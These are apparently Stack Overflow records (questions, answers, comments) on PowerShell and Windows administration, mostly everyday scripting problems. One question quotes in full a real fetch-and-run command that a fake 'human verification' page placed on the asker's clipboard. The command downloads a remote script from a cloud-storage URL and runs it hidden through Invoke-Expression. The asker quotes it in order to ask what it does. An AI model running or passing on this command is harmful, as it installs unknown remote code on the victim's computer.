linked to: http://stackoverflow.com/q/9406434
tagged with: windows
has body: I recenlty installed oh-my-posh into my windows powershell and am using the catppuccin theme however when I use the dir command any sub-folders are highlighted in the output which I dont want. highlighted subfolders image I have tried changing the catppuccin.omp.json file but that doensn't seem to have any way to change it. Does anyone know how to fix this?
type: Question
answer count: 1

http://stackoverflow.com/comment/139639567
type: AnswerComment
comment on: http://stackoverflow.com/a/79178363
type: Comment
score: 0
has text: @AdityaRanjan if both pipelines are supposed to run on the same branch you can use pipeline variable `$(Build.SourceBranchName)`; otherwise, you'll have to hard-code the branch name or use a variable.

http://stackoverflow.com/q/79185432
tagged with: powershell
has comment: http://stackoverflow.com/comment/139634363
downvote count: 1
tagged with: mutex
upvote count: 0
has body: I found handle mutex using Process Explorer. I can close it with this programm, then i'm able to launch second instance of PrivodBondar.exe. With chatGPT help I wrote powershell script which closing this mutex: Import-Module NtObjectManager # Define the name of the mutant (mutex) handle to close $mutexName = "\Sessions\26\BaseNamedObjects\PrivodBondar_tmdi" # Get the list of all processes and iterate to find the handle $allProcesses = Get-Process foreach ($process in $allProcesses) { try { # Get all handles in the process $handles = Get-NtHandle -ProcessId $process.Id -ErrorAction SilentlyContinue # Look for the handle matching the specified mutex name foreach ($handle in $handles) { if ($handle.Name -eq $mutexName) { Write-Host "Found mutex handle in process $($process.ProcessName) (PID: $($process.Id)). Closing handle..." # Close the handle $handle.Close() Write-Host "Handle closed successfully." break } } } catch { # Handle any access exceptions Write-Host "Could not access handles for process $($process.ProcessName) (PID: $($process.Id)) due to permissions." } } but faced with permissions issue. .\close_mutex.ps1 Found mutex handle in process PrivodBondar (PID: 71168). Closing handle... Could not access handles for process PrivodBondar (PID: 71168) due to permissions. How to close this mutex using script? PS I launched powershell with Administrator privilege
has title: Close Mutant handle
favorite count: 0
has comment: http://stackoverflow.com/comment/139632286
score: -1
type: Question
answer count: 1
has answer: http://stackoverflow.com/a/79185888
type: AnsweredQuestion
tagged with: handle
accepted answer: http://stackoverflow.com/a/79185888

http://stackoverflow.com/q/79207415
has answer: http://stackoverflow.com/a/79207645
favorite count: 0
tagged with: windows
type: Question
has comment: http://stackoverflow.com/comment/139672184
has comment: http://stackoverflow.com/comment/139672365
has title: What does this command prompt input do?
has body: This is the input: cmd.exe /c powershell -WindowStyle Hidden -Command "$rQd='https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.txt'; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;" This was on my clipboard after clicking a "human verification" button on some video download webapp. It told me that, in order to verify, I must hit Win + R, Ctrl + V, then Enter. Thankfully, I already know what Win + R does, so I didn't follow those "verification instructions." It looks like it downloads something, but I'm not sure what else.
downvote count: 2
tagged with: powershell
has comment: http://stackoverflow.com/comment/139671943
answer count: 1
has comment: http://stackoverflow.com/comment/139672338
type: AnsweredQuestion
tagged with: trojan
upvote count: 2
score: 0
accepted answer: http://stackoverflow.com/a/79207645
tagged with: cmd

http://stackoverflow.com/q/79149661
upvote count: 1
favorite count: 0
type: Question
has body: Why do Windows PowerShell 5.1 and ISE display a line break between consecutive error records produced by Write-Error, but do not display a line break if the -Exception parameter is used? So far I haven't found anything online mentioning this difference in output. Output Comparison: Error Test (Without Exception).ps1 1..2 | ForEach-Object {Write-Error -Message "Error number $_"} Error Test (With Exception).ps1 1..2 | ForEach-Object {Write-Error -Message "Error number $_" -Exception ([System.Exception]::new("Generic Exception"))} Difficult to see, but the green arrows point to the line breaks which have a [System.ConsoleColor]::Black background: Pwsh notes: Pwsh made changes to how error messages are output (e.g. $ErrorView) and line breaks are stripped out by design (See github issue #24108) pwsh strips out the line breaks regardless if the -Exception parameter is used or not, even when $ErrorView = 'NormalView'. Is this a bug in Windows PowerShell 5.1?
answer count: 1
tagged with: write-error
downvote count: 1
tagged with: powershell
type: AnsweredQuestion
has title: Line break between consecutive error records missing when using Write-Error's -Exception parameter
has answer: http://stackoverflow.com/a/79149781
accepted answer: http://stackoverflow.com/a/79149781
score: 0

delegates
tag name: delegates
type: Tag
tags question: http://stackoverflow.com/q/79098593

http://stackoverflow.com/comment/139720370
score: 0
has text: @Dan: There is no need for `Start-Process` and, as noted, its use _without `-Wait`_ may have been your problem. If I directly specify your `changeComputerName.ps1` script via the `PowerShell Scripts` tab in `gpedit.msc`, it works as expected; _perhaps_ you need to add `-Force` to `Rename-Computer` to avoid an interactive prompt, though at least on my non-domain machine that doesn't seem to be necessary.
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052
type: Comment

http://stackoverflow.com/a/79185888
accepted answer of: http://stackoverflow.com/q/79185432
has comment: http://stackoverflow.com/comment/139638424
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139634399
has body: A glance at the NtObjectManager source code suggests the method name is CloseHandle, not Close: # Look for the handle matching the specified mutex name foreach ($handle in $handles) { if ($handle.Name -eq $mutexName) { Write-Host "Found mutex handle in process $($process.ProcessName) (PID: $($process.Id)). Closing handle..." # Close the handle $handle.CloseHandle() Write-Host "Handle closed successfully." break } } Additionally, you might want to restructure your try/catch block so that you can tell permission-related errors apart from other types of errors: try { # ... } catch [System.UnauthorizedAccessException] { Write-Host "Could not access handles for process $($process.ProcessName) (PID: $($process.Id)) due to permissions." } catch { Write-Host "Unexpected error: $_" }
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/79185432

http://stackoverflow.com/comment/139614760
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79175787
score: 1
has text: Yeeeeeeeeeeeees!

http://stackoverflow.com/comment/139557941
type: Comment
has text: Without the full context\list of exclusions is very hard to properly help. Also: `'^(?!.*user\s(login|authentication)).*(error|exception).*'` is better.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79145056

http://stackoverflow.com/comment/139476458
type: AnswerComment
comment on: http://stackoverflow.com/a/79099422
type: Comment
has text: Great and very useful multi-purpose answer! As I'm trying to mimic reading a binary file (*exe, dll*), I guess the encoding doesn't matter as it's read byte-by-byte, and checking the hex dump of the (fake) string on my UTF8 system, yields only the expected 0-255 range, so within safe use bounds. Are you aware of any performance differences between using `[byte[]] [char[]]` versus using `[byte[]] $x.ToCharArray()`? I would expect the byte/char cast would be slightly faster? (I'm not sure how to use the `Measure-Command` when needing to run multiple times and average.)
score: 1

http://stackoverflow.com/comment/139699401
type: AnswerComment
comment on: http://stackoverflow.com/a/79212301
type: Comment
has text: For sure, 100% of files are binary, but the object is more "should I spend CPU cycles parsing this file for the text that I am looking for, or, is it not really text in nature, and thus I should skip it and only try to read files that have high confidence of being text in nature". That's quite useful for me when trying to parse/find files containing certain text among 100's of thousands of files on a system, i.e. quickly reject obviously binary files, only search within high-confidence text-in-nature files.
score: 0

http://stackoverflow.com/comment/139610144
type: Comment
comment on: http://stackoverflow.com/a/79173166
score: 0
has text: Updated the answer.
type: AnswerComment

http://stackoverflow.com/comment/139528555
type: AnswerComment
score: 1
has text: And "it's about whether the compiler is set to optimize local variable access. This is disabled when dot sourcing, when accessing all scoped variables, when any *-Debugger or *-Variable command is statically present in the body, and I believe when breakpoints are set. I likely missed a scenario or two, but that's the root cause for all of the differences." - https://github.com/PowerShell/PowerShell/issues/20273#issuecomment-1723891079
type: Comment
comment on: http://stackoverflow.com/a/79127234

http://stackoverflow.com/a/79183903
type: Answer
has body: Try this, it pulls all the SID`s of the users on a pc followed by its user route, you can make a loop to deploy it to a list of computers and extract all of them. $regLM = "Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\" $clav1 = Get-Item "$regLM\S-1-5-21-*" foreach ($usus1 in $clav1.PSChildName) { $subClave = Get-ItemProperty "$regLM$usus1" $profilePath = $subClave.ProfileImagePath # Write-Host "User key: $usus1 - User route: $profilePath" Write-Output "$usus1 - $profilePath"| Out-File "C:\AAAA\BBBB.txt" -Force -Append }
score: 0
answers question: http://stackoverflow.com/q/79183024
has comment: http://stackoverflow.com/comment/139634303

multiple-monitors
tag name: multiple-monitors
type: Tag
tags question: http://stackoverflow.com/q/79128851
tags question: http://stackoverflow.com/q/79176779

http://stackoverflow.com/comment/139666608
type: AnswerComment
comment on: http://stackoverflow.com/a/79201871
has text: You're right, that was much more efficient.
type: Comment
score: 1

http://stackoverflow.com/q/79096023
score: 1
favorite count: 0
upvote count: 1
answer count: 2
has body: Everything that I have found with a similar error seems to be for developers working in their C# / Visual Studio environment. I'm just trying to connect to Azure with Powershell. This seems to be a problem only with Powershell versions that are newer than 5.1.17763.5576. I have other VM's where things work fine and are practically identical, but the Powershell version is 5.1.17763.5576 or older. So, to state it plainly, my credentials are not the problem, and updating PowerShell to the latest is not the solution. PS C:\Windows\system32&gt; $psversiontable Name Value ---- ----- PSVersion 5.1.17763.6292 PSEdition Desktop PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} BuildVersion 10.0.17763.6292 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 PSRemotingProtocolVersion 2.3 SerializationVersion 1.1.0.1 PS C:\Windows\system32&gt; connect-azaccount Please select the account you want to login with. WARNING: Unable to acquire token for tenant 'organizations' with error 'InteractiveBrowserCredential authentication failed: Could not load type 'System.Diagnostics.Metrics.Meter' from assembly 'System.Diagnostics.DiagnosticSource, Version=5.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51'.' WARNING: Please run 'Connect-AzAccount -DeviceCode' if browser is not supported in this session. connect-azaccount : InteractiveBrowserCredential authentication failed: Could not load type 'System.Diagnostics.Metrics.Meter' from assembly 'System.Diagnostics.DiagnosticSource, Version=5.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51'. At line:1 char:1 + connect-azaccount + ~~~~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Connect-AzAccount], AuthenticationFailedException + FullyQualifiedErrorId : Microsoft.Azure.Commands.Profile.ConnectAzureRmAccountCommand How do I fix this? Things I've tried that do not work: Update-Module -Name Az -Force (does not fix this) Uninstall/Reinstall Module (does not fix this) After playing with this more, I found that the problem is specifically …
has title: Connect-AzAccount Could not load type 'System.Diagnostics.Metrics.Meter' from assembly 'System.Diagnostics.DiagnosticSource
has comment: http://stackoverflow.com/comment/139473996
has answer: http://stackoverflow.com/a/79098919
type: Question
accepted answer: http://stackoverflow.com/a/79098919
has answer: http://stackoverflow.com/a/79096732
possible better answer: http://stackoverflow.com/a/79096732
downvote count: 0
has comment: http://stackoverflow.com/comment/139469667
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
tagged with: powershell-az-module

http://stackoverflow.com/a/79177773
has comment: http://stackoverflow.com/comment/139620393
downvote count: 2
has comment: http://stackoverflow.com/comment/139621210
has comment: http://stackoverflow.com/comment/139621051
has body: The following calls user32.dll enum SystemMetric { SM_CXSCREEN = 0 # 0x00 SM_CYSCREEN = 1 # 0x01 SM_CXVSCROLL = 2 # 0x02 SM_CYHSCROLL = 3 # 0x03 SM_CYCAPTION = 4 # 0x04 SM_CXBORDER = 5 # 0x05 SM_CYBORDER = 6 # 0x06 SM_CXDLGFRAME = 7 # 0x07 SM_CXFIXEDFRAME = 7 # 0x07 SM_CYDLGFRAME = 8 # 0x08 SM_CYFIXEDFRAME = 8 # 0x08 SM_CYVTHUMB = 9 # 0x09 SM_CXHTHUMB = 10 # 0x0A SM_CXICON = 11 # 0x0B SM_CYICON = 12 # 0x0C SM_CXCURSOR = 13 # 0x0D SM_CYCURSOR = 14 # 0x0E SM_CYMENU = 15 # 0x0F SM_CXFULLSCREEN = 16 # 0x10 SM_CYFULLSCREEN = 17 # 0x11 SM_CYKANJIWINDOW = 18 # 0x12 SM_MOUSEPRESENT = 19 # 0x13 SM_CYVSCROLL = 20 # 0x14 SM_CXHSCROLL = 21 # 0x15 SM_DEBUG = 22 # 0x16 SM_SWAPBUTTON = 23 # 0x17 SM_CXMIN = 28 # 0x1C SM_CYMIN = 29 # 0x1D SM_CXSIZE = 30 # 0x1E SM_CYSIZE = 31 # 0x1F SM_CXSIZEFRAME = 32 # 0x20 SM_CXFRAME = 32 # 0x20 SM_CYSIZEFRAME = 33 # 0x21 SM_CYFRAME = 33 # 0x21 SM_CXMINTRACK = 34 # 0x22 SM_CYMINTRACK = 35 # 0x23 SM_CXDOUBLECLK = 36 # 0x24 SM_CYDOUBLECLK = 37 # 0x25 SM_CXICONSPACING = 38 # 0x26 SM_CYICONSPACING = 39 # 0x27 SM_MENUDROPALIGNMENT = 40 # 0x28 SM_PENWINDOWS = 41 # 0x29 SM_DBCSENABLED = 42 # 0x2A SM_CMOUSEBUTTONS = 43 # 0x2B SM_SECURE = 44 # 0x2C SM_CXEDGE = 45 # 0x2D SM_CYEDGE = 46 # 0x2E SM_CXMINSPACING = 47 # 0x2F SM_CYMINSPACING = 48 # 0x30 SM_CXSMICON = 49 # 0x31 SM_CYSMICON = 50 # 0x32 SM_CYSMCAPTION = 51 # 0x33 SM_CXSMSIZE = 52 # 0x34 SM_CYSMSIZE = 53 # 0x35 SM_CXMENUSIZE = 54 # 0x36 SM_CYMENUSIZE = 55 # 0x37 SM_ARRANGE = 56 # 0x38 SM_CXMINIMIZED = 57 # 0x39 SM_CYMINIMIZED = 58 # 0x3A SM_CXMAXTRACK = 59 # 0x3B SM_CYMAXTRACK = 60 # 0x3C SM_CXMAXIMIZED = 61 # 0x3D SM_CYMAXIMIZED = 62 # 0x3E SM_NETWORK = 63 # 0x3F SM_CLEANBOOT = 67 # 0x43 SM_CXDRAG = 68 # 0x44 SM_CYDRAG = 69 # 0x45 SM_SHOWSOUNDS = 70 # 0x46 SM_CXMENUCHECK = 71 # 0x47 SM_CYMENUCHECK = 72 # 0x48 SM_SLOWMACHINE = 73 # 0x49 SM_MIDEASTENABLED = 74 # 0x4A SM_MOUSEWHEELPRESENT = 75 # 0x4B SM_XVIRTUALSCREEN = 76 # 0x4C SM_YVIRTUALSCREEN = 77 # 0x4D SM_CXVIRTUALSCREEN = 78 # 0x4E SM_CYVIRTUAL…
type: Answer
has comment: http://stackoverflow.com/comment/139621235
has comment: http://stackoverflow.com/comment/139621098
upvote count: 0
has comment: http://stackoverflow.com/comment/139621260
has comment: http://stackoverflow.com/comment/139621471
has comment: http://stackoverflow.com/comment/139621076
answers question: http://stackoverflow.com/q/79176779
score: -2
has comment: http://stackoverflow.com/comment/139621289

http://stackoverflow.com/a/79140215
accepted answer of: http://stackoverflow.com/q/79135538
type: Answer
score: 0
has body: The trick to make it work is by authorizations parameter in az managedapp definition create. I need to use a user or service principle with the same role and group defined in authorizations parameter. I used service princpiple to login in my CI/CD workflow.
answers question: http://stackoverflow.com/q/79135538
type: AcceptedAnswer

http://stackoverflow.com/q/79072082
has title: Google API OAuth2 - Delete a file in Shared Drive
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79072401
tagged with: google-api
score: 1
accepted answer: http://stackoverflow.com/a/79072401
upvote count: 1
favorite count: 0
type: Question
answer count: 1
has body: I am using a PSH script to update a csv file to a Google Shared drive. The upload works fine. I need to add a delete section to delete the file before uploading a new version. When I used HTTP Method DELETE I get Deleting file: file.csv with ID: 1xxxxxxxxxxxxxxxxxxxxx-4 Failed to delete file ID 1xxxxxxxxxxxxxxxxxxxx-4. Error: The remote server returned an error: (404) Not Found. The file is there. The account has full perms. Using https://www.googleapis.com/auth/drive Any suggestions? I am new at this. :) File uploaded using PSH and Google OAuth 2. When deleting the same file, it gives 404 Not Found. # Set the Google Auth parameters $params = @{ Uri = 'https://accounts.google.com/o/oauth2/token' Body = @{ refresh_token = $RefreshToken client_id = $ClientID client_secret = $ClientSecret grant_type = 'refresh_token' } Method = 'Post' ContentType = 'application/x-www-form-urlencoded' } # Get the access token $accessToken = (Invoke-RestMethod @params).access_token # Specify the shared drive ID and file name $teamDriveId = "xxxxxxxxxxxxxxxPVA" $fileName = "file.csv" # Step 1: Search for specific file name within the shared drive without specifying parents $searchUri = "https://www.googleapis.com/drive/v3/files?q=name='$fileName' and trashed=false&corpora=drive&driveId=$teamDriveId&supportsAllDrives=true&includeItemsFromAllDrives=true" $searchHeaders = @{ "Authorization" = "Bearer $accessToken" } $searchResult = Invoke-RestMethod -Uri $searchUri -Method Get -Headers $searchHeaders Write-Host "Search response: $($searchResult | ConvertTo-Json)" # Step 2: Delete files if found if ($searchResult.files) { foreach ($file in $searchResult.files) { $fileId = $file.id Write-Host "Deleting file: $fileName with ID: $fileId" $deleteUri = "https://www.googleapis.com/drive/v3/files/$fileId?supportsAllDrives=true" try { Invoke-RestMethod -Uri $deleteUri -Method Delete -Headers $searchHeaders Write-Host "Deleted file ID $fileId successfully." } catch { Write-Host "Failed to delete file …
tagged with: google-drive-api
downvote count: 0

automation
tags question: http://stackoverflow.com/q/79112268
tags question: http://stackoverflow.com/q/79104529
tag name: automation
type: Tag
tags question: http://stackoverflow.com/q/79331379
tags question: http://stackoverflow.com/q/79344254
tags question: http://stackoverflow.com/q/79469875
tags question: http://stackoverflow.com/q/79449766
tags question: http://stackoverflow.com/q/79453479
tags question: http://stackoverflow.com/q/79535765
tags question: http://stackoverflow.com/q/79460141

http://stackoverflow.com/comment/139509198
score: 0
comment on: http://stackoverflow.com/q/79118064
has text: @Charlieface to clarify, it was maxing out the memory due to spawning 16k+ prepares. I want to dispose the command and connection after uploading all the data. Anyway, for your proposal, I actually already attempted this, but received some errors, such as: "Incorrect arguments to mysqld_stmt_execute" or ""Incorrect datetime value: '' for column 'columnName' at row 1". These errors do not not appear when replacing all the parameters using AddWithValue - Perhaps because the datatype changes (maybe one user has null for a property, but someone else has a not-null value)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139619925
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79177876
has text: That's a good point, but PowerShell provides some flexibility to evaluate the results of the callbacks that I might want to keep.

http://stackoverflow.com/q/79168302
type: Question
downvote count: 0
answer count: 1
has body: Dropbox's support shows that you can use the following command to have Dropbox ignore a specific file or folder: Set-Content -Path 'C:\Users\yourname\Dropbox\YourFileName.pdf' -Stream com.dropbox.ignored -Value 1 Is there a way I can use PowerShell to set this value on all folders named FileContentIndex on my hard drive? Thanks!
score: 2
upvote count: 2
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79168320
favorite count: 0
accepted answer: http://stackoverflow.com/a/79168320
has title: Apply a command using PowerShell to all folders with a specific name

http://stackoverflow.com/q/79231195
has body: I want to create a scheduled task from remote place launched by local system account I followed instructions from this post but i didn't help (Register-ScheduledTask : No mapping betwen account names and security IDs was done) # Activation Invoke-Command -Credential $admetCREDS -ComputerName $PC.DNSHostName -UseSSL -ScriptBlock { param($NomUSER, $NomADMIN, $NomPOSTE) $Actions = (New-ScheduledTaskAction -Execute "cmd" -Argument "/c net user $NomADMIN /active") # trigger $Class1 = cimclass MSFT_TaskLogonTrigger Root/Microsoft/Windows/TaskScheduler $Trigger1 = $Class1 | New-CimInstance -ClientOnly $Trigger1.Enabled = $true $Trigger1.UserId = "Domain\$NomUSER" $Principal = New-ScheduledTaskPrincipal -UserId $NomPOSTE\Système -LogonType ServiceAccount $Task = New-ScheduledTask -Action $Actions -Principal $Principal -Trigger ($Trigger1), ($Trigger2), ($Trigger3) Register-ScheduledTask -TaskName "Key" -TaskPath \Microsoft\Windows\BitLocker -InputObject $Task } -ArgumentList ($NomUSER, $NomADMIN, $NomPOSTE) But i get this error : Le mappage entre les noms de compte et les ID de sécurité n’a pas été effectué. (24,8):UserId: + CategoryInfo : NotSpecified: (PS_ScheduledTask:Root/Microsoft/...S_ScheduledTask) [Register-ScheduledTa sk], CimException + FullyQualifiedErrorId : HRESULT 0x80070534,Register-ScheduledTask + PSComputerName : remotePC.domain.com I tried with user "NT AUTHORITY\SYSTEM" but it's the same. From local computer, it works. Is there a way to make it working with invoke-command? Thanks.
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/58346274
has comment: http://stackoverflow.com/comment/139718127
has comment: http://stackoverflow.com/comment/139714997
type: Question
tagged with: scheduled-tasks
answer count: 0
tagged with: powershell
has title: Invoke-Command : Register-ScheduledTask : No mapping betwen account names and security IDs was done
score: 0

http://stackoverflow.com/comment/139509697
has text: @jdweng I think you are confused. Please see my latest post edits - I have moved on to different code and am receiving a "directory object not found" error. That is what I am trying to resolve at this point. Thank you!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0

http://stackoverflow.com/q/79075877
has title: Get specific child items for each parent Item from a converted JSON file in Powershell
has comment: http://stackoverflow.com/comment/139431510
has comment: http://stackoverflow.com/comment/139431475
has body: We are trying to Pull AP names and two specific Bssid values out of json files provided by network team, in PowerShell 5.1 Started with the following function to get the names (this works for just the names), but am stumped on how to get ChildItems, or if it's even possible to pull child items when searching a string like this, unlikely would be my guess. Function GetName { $WapName = get-content $FileName -Raw | Select-String -pattern '"name":\s*"?([^",]+)"?,?' -allmatches | Foreach-Object { $_.Matches | ##Get-childItem matching specific ESSID, return macaddr ?? Foreach-Object { $_.Groups[1].Value} } if ($null -eq $WapName){ Write-Host "Array is null" }# End of If else{ Write-Host "Array has $($WapName.length) elements" $WapName }#End of Else }#End of Function Thinking we may need to convertFrom-Json to achieve child item pulls, but am unfamiliar with how to work with that data. want to Ultimately get this converted to a csv file for manipulation. Here's example of JSON file. We need AP Names and each associated wifi macaddr value for the wifitrusted and wifiguest items only. The rest of the data is unneeded. { "aps": [ { "macaddr": "xx:xx:xx:xx:xx:xx", "name": "**WAP01**", "radio_bssids": [ { "bssids": [ { "essid": "wifiguest", "macaddr": "**xx:xx:xx:xx:xx:xx**" }, { "essid": "wifitrusted", "macaddr": "**xx:xx:xx:xx:xx:xx**" }, { "essid": "Wifi-xyz", "macaddr": "xx:xx:xx:xx:xx:xx" } ], "index": 0, "macaddr": "xx:xx:xx:xx:xx:xx" }, { "bssids": [ { "essid": "wifiguest", "macaddr": "**xx:xx:xx:xx:xx:xx**" }, { "essid": "wifitrusted", "macaddr": "**xx:xx:xx:xx:xx:xx**" }, { "essid": "Wifi-xyz", "macaddr": "xx:xx:xx:xx:xx:xx" } ], "index": 1, "macaddr": "xx:xx:xx:xx:xx:xx" } ], "serial": "sjfdgkjafdgl", "swarm_id": "kjslkfdjgaofdsgj0w94rlkjo9wrjliwedlkfjwo3" }, { "macaddr": "xx:xx:xx:xx:xx:xx", "name": "**WAP02**", "radio_bssids": [ { "bssids": [ { "essid": "wifiguest", "macaddr": "**xx:xx:xx:xx:xx:xx**" }, { "essid": "wifitrusted", "macaddr": "**xx:xx:xx:xx:xx:xx**" }…
has comment: http://stackoverflow.com/comment/139431532
possible better answer: http://stackoverflow.com/a/79077582
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79077582
score: 0
has answer: http://stackoverflow.com/a/79076026
accepted answer: http://stackoverflow.com/a/79076026
has comment: http://stackoverflow.com/comment/139431505
answer count: 2
tagged with: object-graph
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/139431521
type: Question

http://stackoverflow.com/comment/139507192
type: Comment
comment on: http://stackoverflow.com/q/79110614
has text: Did you try adding dollar sign to false : $False?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139504167
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79115375
has text: I have 6000 rows..
type: QuestionComment

sysinternals
type: Tag
tags question: http://stackoverflow.com/q/79147272
tag name: sysinternals

http://stackoverflow.com/a/79098470
score: 0
answers question: http://stackoverflow.com/q/79098434
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79098434
type: Answer
has body: Instead of using Select-Object within the remote session (ScriptBlock), we retrieve all the printer data first. Then, after retrieving the data, we apply Select-Object on the local machine to remove the extra properties (PSComputerName, RunspaceId) added by the remote session. # Define the path to the text file $filePath = "C:\powershell\complist.txt" # Check if the file exists if (Test-Path $filePath) { # Read the computer names from the file $computerNames = Get-Content $filePath # Loop through each computer name foreach ($computer in $computerNames) { try { # Use Invoke-Command to run Get-Printer on the remote computer $printerInfo = Invoke-Command -ComputerName $computer -ScriptBlock { Get-Printer } if ($printerInfo) { # Output the filtered printer information locally Write-Host "Printers on $computer :" $printerInfo | Select-Object Name, PortName, DriverName | Format-Table -AutoSize } else { Write-Host "No printers found on $computer." } } catch { Write-Host "Error retrieving printers from '$computer': $_" } } } else { Write-Host "File not found: $filePath" }

http://stackoverflow.com/comment/139722589
has text: The sad reality in Windows PowerShell and in PowerShell (Core) 7 _up to v7.2.x_ is that an _extra, manual_ layer of ``\``-escaping of embedded `"` characters is required in arguments passed to _external programs_. This is fixed in PowerShell 7 _v7.3+_, with selective exceptions on Windows. See the linked duplicate for details.
score: 0
comment on: http://stackoverflow.com/q/79234150
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79153108
answers question: http://stackoverflow.com/q/79152963
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79152963
type: AcceptedAnswer
type: Answer
has body: Import-Csv doesn't have this option but you can work your way around it by reading line by line and parsing the content. It requires a bit of work though. Assuming the file look exactly like you have shared in your question, something like this approach might work: function Read { param( [Parameter(Mandatory)] [string] $Path, [Parameter(Mandatory)] [string] $Header ) $Path = Convert-Path $Path -ErrorAction Stop $sb = [System.Text.StringBuilder]::new() $startQuote = $false foreach ($line in [System.IO.File]::ReadLines($Path)) { if ($line.StartsWith('"')) { $startQuote = $true $sb = $sb.AppendLine($line.TrimStart('"')) continue } if (-not $startQuote) { [pscustomobject]@{ $Header = $line } continue } if ($line.EndsWith('"')) { $startQuote = $false $sb = $sb.Append($line.TrimEnd('"')) [pscustomobject]@{ $Header = $sb.ToString() } $sb = $sb.Clear() continue } $sb = $sb.AppendLine($line.TrimStart('"')) } } $names = Read .\NamesList.csv -Header Names $names This will output an array of objects like the one you're expecting: Names ----- Richard Roe Mary Major Alex Smith… Betty Brown… Alex Smith Richard Roe… Then you can prepend the Departments by updating the objects by index. It's unclear where these are coming from, if we had this information the these could be prepended earlier for a more efficient approach: $names[1].Names = "Legal`n$($names[1].Names)" $names[2].Names = "Accounting`n$($names[2].Names)" $names[3].Names = "R&D`n$($names[3].Names)" $names | ConvertTo-Csv # <= This for demo, it should be `Export-Csv` instead Then the resulting CSV would look like what you are expecting: "Names" "" "Legal Richard Roe" "Accounting Mary Major" "R&D Alex Smith Betty Brown Chris Clark" "" "Betty Brown Donna Davis Edward Evans" "" "Alex Smith" "" "Richard Roe Mary Major"
downvote count: 0

http://stackoverflow.com/q/79094880
type: Question
tagged with: windows-services
tagged with: credentials
answer count: 1
tagged with: c#
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/58719473
has body: I wrote a service to retrieve windows credential from windows with its target name. I wrote two ways to get credential.the code works fine in my machine(windows 11) for both ways but it does not find credential in a windows server. Code= Windows Service(background service writen in .Net 8) run as administrator getting Credential: Way 1 : CredMan.ps1 return exit code 0 but error of credman script way 2 : Advapi32.dll return error 1168 "ERROR_NOT_FOUND" here is how did I do that: calling CredRead: private static string? ReadCredential(string target, Func<CredentialEnum.CREDENTIAL, string> readFunc) { if (string.IsNullOrWhiteSpace(target)) { throw new ArgumentException($"{nameof(target)} cannot be null or empty.", nameof(target)); } nint credPtr = nint.Zero; try { target = target.Trim(); bool success = CredRead(target, CredentialTypeEnum.CRED_TYPE.GENERIC, 0, out credPtr); if (success) { CredentialEnum.CREDENTIAL credential = Marshal.PtrToStructure<CredentialEnum.CREDENTIAL>(credPtr); return readFunc(credential); } } catch (Exception ex) { Log.Error(ex, "Error reading credential"); } finally { if (credPtr != nint.Zero) { CredFree(credPtr); credPtr = nint.Zero; } } return null; } CredRead: //https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credreada [DllImport("Advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CredRead(string target, CredentialTypeEnum.CRED_TYPE type, int reservedFlag, out nint credentialPtr); calling CreadMan.ps1 script: private async Task ExecuteCredManCommand(string psCommand, CustomerHost host) { string scriptPath = GetScriptFullPath("CredMan.ps1"); psCommand = $"&{scriptPath + " " + $"-GetCred -Target '{host.CredentialName.Trim()}' -CredType Generic"}"; StringBuilder stdOutBuffer = new StringBuilder(); StringBuilder stdErrBuffer = new StringBuilder(); var result = Cli.Wrap("powershell") .WithArguments($"-Command \"{psCommand}\"") .WithValidation(CommandResultValidation.None) .WithStandar…
has title: Get Credential From Windows Credential Manager With Service Fails on Windows Server
score: 0
accepted answer: http://stackoverflow.com/a/79114188
has answer: http://stackoverflow.com/a/79114188
tagged with: windows-server

http://stackoverflow.com/comment/139621658
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
type: Comment
has text: Have you included `top=2000` in the URL? Since you can get all users when using `4.1-preview.1` version, you should be able to get the same result in the PowerShell scripts. Try to run `GET https://vsaex.dev.azure.com/{OrgName}/_apis/userentitlements?top=2000&api-version=4.1-preview.1` in a separate PowerShell script and check what's the result.

http://stackoverflow.com/comment/139731145
type: Comment
has text: @TessellatingHeckler. Thank you so much! Here is the output Install-WindowsFeature : The term 'Install-WindowsFeature' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + Install-WindowsFeature -Name Web-Server,Web-ASP,Web-Basic-Auth,Web-Me ... + ~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Install-WindowsFeature:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
score: 0
comment on: http://stackoverflow.com/q/79240454
type: QuestionComment

http://stackoverflow.com/a/79204883
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79183024
type: Answer
